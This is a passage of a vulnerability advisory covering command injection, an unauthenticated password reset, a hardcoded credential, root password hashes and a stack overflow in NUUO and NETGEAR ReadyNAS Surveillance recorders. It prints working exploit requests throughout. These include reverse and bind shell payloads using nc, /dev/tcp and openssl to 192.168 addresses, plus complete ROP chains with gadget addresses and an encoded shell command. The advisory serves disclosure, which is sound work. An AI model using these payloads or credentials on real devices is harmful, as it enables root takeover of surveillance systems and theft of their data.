- NVRmini 2 and NVRsolo: GET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 This will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user.
2
Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5675 Attack Vector: Remote Constraints: Requires an administrator account Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
The handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below): else if ($act == 'update') { $cmd = sprintf("/usr/bin/ntpdate %s", $_GET['NTPServer']);
$find_str = "time server";
$sys_msg = system($cmd);
$pos = strpos($sys_msg, $find_str);
The file can only be accessed by an authenticted user. - ReadyNAS Surveillance: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b+whoami+>+/tmp/test This will create a /tmp/test file with the contents of "admin" (current user).
-
NVRmini 2 and NVRsolo: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204+9000+>/tmp/f Connects a shell to 192.168.1.204, port 9000, running as root.
-
Crystal: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i+>%26+/dev/tcp/192.168.1.204/4444+0>%26 Connects a shell to 192.168.1.204, port 4444, running as root.
3
Vulnerability: Administrator password reset CVE-2016-5676 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
On older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable.
Proof of concept: GET /cgi-bin/cgi_system?cmd=loaddefconfig
This will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices.
4
Vulnerability: Information disclosure (system processes, available memory and filesystem status) CVE-2016-5677 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
The web interface contains a hidden page (__nvr_status.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. This information can be obtained by an unauthenticated user by performing the following request: POST /_nvr_status_.php HTTP/1.1 username=nuuoeng&password=qwe23622260&submit=Submit
5
Vulnerability: Harcoded root password CVE-2016-5678 Affected products / versions: - NUUO NVRmini 2, firmware v1.0.0 to 3.0.0 - NUUO NVRsolo, firmware v1.0.0 to 3.0.0
The NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices.
NVRmini 2: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::
NVRsolo: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::
6
Vulnerability: Command injection in cgi_main transfer license command CVE-2016-5679 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user Affected products / versions: - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)
The transfer_license command has a command injection vulnerability in the "sn" parameter: cgi_main?cmd=transfer_license&method=offline&sn=";;#
Sample exploit for NVRmini2 (open bind shell on port 4444): GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23
NETGEAR Surveillance doesn't have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23
Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.
7
Vulnerability: Stack buffer overflow in cgi_main transfer license command CVE-2016-5680 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)
The "sn" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the "sn" parameter is copied directly into a string with a fixed length of 128 characters.
Function 0x20BC9C (NVRmini2 firmware v3.0.0): method = getval("method"); sn = getval("sn"); (...) memset(&command, 0, 128); sprintf(&command, "logger -p local0.info -t 'system' \"Activate license: %s\"", sn); system(&command);
For example if the following request is performed: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
A core file is generated: Core was generated by `/NUUO/bin/cgi_main'. Program terminated with signal SIGSEGV, Segmentation fault.
0 0x61616160 in ?? ()
(gdb) i r r0 0x0 0 r1 0x0 0 r2 0x407aa4d0 1081779408 r3 0x407aa9e0 1081780704 r4 0x61616161 1633771873 r5 0x61616161 1633771873 r6 0x61616161 1633771873 r7 0x61616161 1633771873 r8 0x331fc8 3350472 r9 0x1 1 r10 0x33db54 3398484 r11 0x0 0 r12 0x1 1 sp 0xbedce528 0xbedce528 lr 0x61616161 1633771873 pc 0x61616160 0x61616160 cpsr 0x60000030 1610612784 (gdb)
The request can be sent by an HTTP GET or POST method.
A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
aaaa: filler PPPP: pc / lr register content, offset 976 4444: r4 register content, offset 962 5555: r5 register content, offset 966 6666: r6 register content, offset 970 7777: r7 register content, offset 974 SSSS: start of stack pointer, offset 992
On the ReadyNAS Surveillance one additional register (r8) can be controlled: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
aaaa: filler PPPP: pc / lr register content, offset 986 4444: r4 register content, offset 968 5555: r5 register content, offset 970 6666: r6 register content, offset 974 7777: r7 register content, offset 978 8888: r8 register content, offset 982 SSSS: start of stack pointer, offset 1002
Exploit mitigations and constraints The table below shows the exploit mitigation technologies for each target: NVRmini2 ReadyNAS NX Y Y RELRO Partial Partial ASLR N Y
An additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator).
Exploitation in the NVRmini2 (firmware v3.0.0): This example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0.
0x00018ba0 : pop {r3, lr} ; bx lr -> located at 40684BA0 (first gadget, sets up r3 for the next gadget) 0x000f17cc : mov r0, sp ; blx r3 -> located at 4075D7CC (second gadget, set up args for system) 0x00039ffc : system() -> located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it) Payload (in the stack) -> %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 ("nc -l -p 4444 -e /bin/sh &")
Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack}
Exploit for NVRmini2 firmware v3.0.0 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26
Other firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification.
Exploitation on ReadyNAS Surveillance (version v1.1.2): To develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses).
The exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used: 0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -> located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1) 0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -> located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0) 0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it) Payload: (in the stack) -> %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 ("mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.133.204:4444 > /tmp/s; rm /tmp/s &")
Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload}
